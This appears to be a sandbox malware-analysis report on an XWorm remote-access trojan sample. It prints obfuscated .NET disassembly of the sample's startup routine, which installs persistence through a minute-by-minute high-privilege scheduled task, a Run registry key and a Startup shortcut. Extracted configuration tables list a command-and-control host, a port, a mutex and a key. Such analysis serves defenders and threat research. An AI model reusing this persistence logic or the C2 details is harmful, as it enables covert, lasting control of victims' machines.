H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::iAHQwYhkG6hL8XwqCMJ91L3JrtMxZK2PdziQyYub1kXHTUg9F4RKCQXBns52AxuIFdShxUG3hTH9VlHWQ3ayNEwy3j7i call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::iAHQwYhkG6hL8XwqCMJ91L3JrtMxZK2PdziQyYub1kXHTUg9F4RKCQXBns52AxuIFdShxUG3hTH9VlHWQ3ayNEwy3j7i ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::V87pu8uAIzBZrAxoqaw7t770gQXh9JkHPdN54s5r1R1cVjpruf4m7JMyA5bvwR78Eh8bBksgerrGSvcz1A9M2oEpTpwl call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::V87pu8uAIzBZrAxoqaw7t770gQXh9JkHPdN54s5r1R1cVjpruf4m7JMyA5bvwR78Eh8bBksgerrGSvcz1A9M2oEpTpwl ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::Tj6cjOxAphwxHRHF6RMc4zrHe6lfnIXrzz9Q72YKDupCNLxh2HaQyoGHHORNnrwUWnsAGWJcUMH0ZN58zPEkLvEHWUvm call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::Tj6cjOxAphwxHRHF6RMc4zrHe6lfnIXrzz9Q72YKDupCNLxh2HaQyoGHHORNnrwUWnsAGWJcUMH0ZN58zPEkLvEHWUvm ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::2C6cu3akrwilKY58uvTFQ661RabEDqFyfSUSKvCUrR0X7IiKCOCdalA0dGmaQUVf1oo48jwuz1ssnP3bvTUnhG5EmXAn call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::2C6cu3akrwilKY58uvTFQ661RabEDqFyfSUSKvCUrR0X7IiKCOCdalA0dGmaQUVf1oo48jwuz1ssnP3bvTUnhG5EmXAn ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::wXwW5cHL61YugFSvWKR44HWTZtc2OHjgofpYK1UTT4WKcbznuTuJF8ce8sjGzUs15vMxFuXvk1BYRYhTMs4DHp0nGEQK call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::wXwW5cHL61YugFSvWKR44HWTZtc2OHjgofpYK1UTT4WKcbznuTuJF8ce8sjGzUs15vMxFuXvk1BYRYhTMs4DHp0nGEQK ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::QtIMHPLYFK7rFQ29IqRowhv2RAgY5Xy4YkGqs5ifBl68DQ94KzYFjgaTB88yHEbfMSB3b8l1kb6b5w0Fp3A6xHduFmaC call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::QtIMHPLYFK7rFQ29IqRowhv2RAgY5Xy4YkGqs5ifBl68DQ94KzYFjgaTB88yHEbfMSB3b8l1kb6b5w0Fp3A6xHduFmaC ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.Object Stub.bzMUCNDcFumgsrSBKNg::IE7XrDA1kUHvnrzZp9g(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU leave.s IL_00CB: call System.Boolean Stub.chICARNkxT4I7lwQ8Q5::eHpw1edkAbEC5q5eZHO() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.chICARNkxT4I7lwQ8Q5::eHpw1edkAbEC5q5eZHO() call System.Boolean Stub.chICARNkxT4I7lwQ8Q5::eHpw1edkAbEC5q5eZHO() brtrue.s IL_00D8: call System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::VQchD0ZT0NvZ1Zfu98yPjNSf7uiRsz4UiTg9Gc3GD5ATQWlmi0OpORk2PQTAnpPscBjk9cGgruWlU5ypu7EfeWPCTHyT() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::VQchD0ZT0NvZ1Zfu98yPjNSf7uiRsz4UiTg9Gc3GD5ATQWlmi0OpORk2PQTAnpPscBjk9cGgruWlU5ypu7EfeWPCTHyT() leave.s IL_00EE: ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::QtIMHPLYFK7rFQ29IqRowhv2RAgY5Xy4YkGqs5ifBl68DQ94KzYFjgaTB88yHEbfMSB3b8l1kb6b5w0Fp3A6xHduFmaC dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00EE: ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::QtIMHPLYFK7rFQ29IqRowhv2RAgY5Xy4YkGqs5ifBl68DQ94KzYFjgaTB88yHEbfMSB3b8l1kb6b5w0Fp3A6xHduFmaC ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::QtIMHPLYFK7rFQ29IqRowhv2RAgY5Xy4YkGqs5ifBl68DQ94KzYFjgaTB88yHEbfMSB3b8l1kb6b5w0Fp3A6xHduFmaC ldstr \ ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0130: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0147: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.chICARNkxT4I7lwQ8Q5::yQ0n8cnyVW8r4kCiWpb call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0172: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0172: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.zrTEfv7DrEFOCVJDy5j78vhDfrTUPGDYSQ9MBDBUIOreA75zEBQ4VLrLkhxNf7GYHAUB5WK9LDQYB::LsPx0vLi1thVeA0rWqcboGV7M1KK6BLxWTfZq3D9jXqOsvBD3iWlyOIy8Xv5rpiRsR4g9SKavLsPl() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01D8: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_021C: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_14 ldc.i4.1 <null> ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_14 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_14 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_14 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_14 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_023D: call My.Z1up9XhB5QuvrhzHmEk03j6DZ9uxjY0tUvfjpNm6WkcejsTtPbUn35eniQ20MmEr0qBf3XCjSmgyjWv0wVUubJvRmYoC My.7K2TZGrieTKPZLGGVbgsz88YIQYzT7yTQLVhnDl8Mthv3l7fMdmHiJWQsWD6ogPqeagEOcWd32aB9tF7smc6hcJyQaiT::AX1VcWGHue4mDy3F9mNo1ACN21DI1LNXNK2t0bjXbOJEYcMOTKtcWRejNoWn030bBhkI26ulO2EqJkUcgvXuHS0dlo2o() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_023D: call My.Z1up9XhB5QuvrhzHmEk03j6DZ9uxjY0tUvfjpNm6WkcejsTtPbUn35eniQ20MmEr0qBf3XCjSmgyjWv0wVUubJvRmYoC My.7K2TZGrieTKPZLGGVbgsz88YIQYzT7yTQLVhnDl8Mthv3l7fMdmHiJWQsWD6ogPqeagEOcWd32aB9tF7smc6hcJyQaiT::AX1VcWGHue4mDy3F9mNo1ACN21DI1LNXNK2t0bjXbOJEYcMOTKtcWRejNoWn030bBhkI26ulO2EqJkUcgvXuHS0dlo2o() call My.Z1up9XhB5QuvrhzHmEk03j6DZ9uxjY0tUvfjpNm6WkcejsTtPbUn35eniQ20MmEr0qBf3XCjSmgyjWv0wVUubJvRmYoC My.7K2TZGrieTKPZLGGVbgsz88YIQYzT7yTQLVhnDl8Mthv3l7fMdmHiJWQsWD6ogPqeagEOcWd32aB9tF7smc6hcJyQaiT::AX1VcWGHue4mDy3F9mNo1ACN21DI1LNXNK2t0bjXbOJEYcMOTKtcWRejNoWn030bBhkI26ulO2EqJkUcgvXuHS0dlo2o() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_0278: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0278: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String H05NFzkTTyI9jkoJ29S91VXRXRxgNuNkCBj935g9A8CCjuMA2tSgMUz52ETJdJRkfi3jkyeYxs9rugtJy5K6MvD8piQs::pUWskdhz5ODKXiytMzRRW1HdwujzksCDOs8LHdf1zph6TzzoR42vc27R7L70FMS30xaMUlgLPTExOJ0isYuaTeDftisU call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_12 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_15 stloc.s V_16 ldloc.s V_16 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02FD: stloc.s V_18 ldloc.s V_16 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_19 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_18 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_18 ldloc.s V_12 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.chICARNkxT4I7lwQ8Q5::2LNMeLJscVhRQdxAlil leave.s IL_037C: call System.Void Stub.chICARNkxT4I7lwQ8Q5::ErxqTnbYw21j6svQmHw() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_037C: call System.Void Stub.chICARNkxT4I7lwQ8Q5::ErxqTnbYw21j6svQmHw() call System.Void Stub.chICARNkxT4I7lwQ8Q5::ErxqTnbYw21j6svQmHw() ldnull <null> ldftn System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::7Db5mZCQJwTl9FIGbudzmbfTJoWoMVJ9hgUmEenwYIpJXiJh6BGvll1pD3m0KJSE82fDHtqYk7jyq() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.zrTEfv7DrEFOCVJDy5j78vhDfrTUPGDYSQ9MBDBUIOreA75zEBQ4VLrLkhxNf7GYHAUB5WK9LDQYB::LsPx0vLi1thVeA0rWqcboGV7M1KK6BLxWTfZq3D9jXqOsvBD3iWlyOIy8Xv5rpiRsR4g9SKavLsPl() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03A8: ldnull call System.Void Stub.SMTKPy0cpAEHxdFGNpH::d1qZDVDS4LUCN8r6q5i() ldnull <null> ldftn System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::5MREwzxv8bF2xA71ItHucHkPSuId4bqc4CcGsstzZIW9PO2dPjtmEMjb96LrnmfNJePO4fgdbV2O7() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.HnGCXBO1ssXTtGGNTa2NqfCJldXm7AjqdZ8EbCdIKEsiNn4fWWhLR2kxxW98j8fgiLj8EINVoU39lDlG6GqwyGYQoBj5::JFEO1snO3nU4KGQP8CSVojjbehuI7kruAuTObsLtdOJikGukNeaJQtj3NFN8dZbaByWGj9mUCCdbW() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |
|
Name0 | Value |
|---|---|
| Mutex | Wc2e14E7TDGpUeE7 |
| CnC | dns4up.duckdns.org |
| Port | 6000 |
|
Config. Field0 | Value |
|---|---|
| Mutex | Wc2e14E7TDGpUeE7 |
| Hosts | dns4up.duckdns.org |
| Port | 6000 |
| KEY | <666666> |
| USBNM | <XWormmm> |
| LoggerPath | %Public% |
| family | xworm |
|
Name0 | Value | Location |
|---|---|---|
| Mutex | Wc2e14E7TDGpUeE7 Malicious |
69957ae31f93d0178e89b2e4ad1bd6c7 |
| CnC | dns4up.duckdns.org Malicious |
69957ae31f93d0178e89b2e4ad1bd6c7 |
| Port | 6000 Malicious |
69957ae31f93d0178e89b2e4ad1bd6c7 |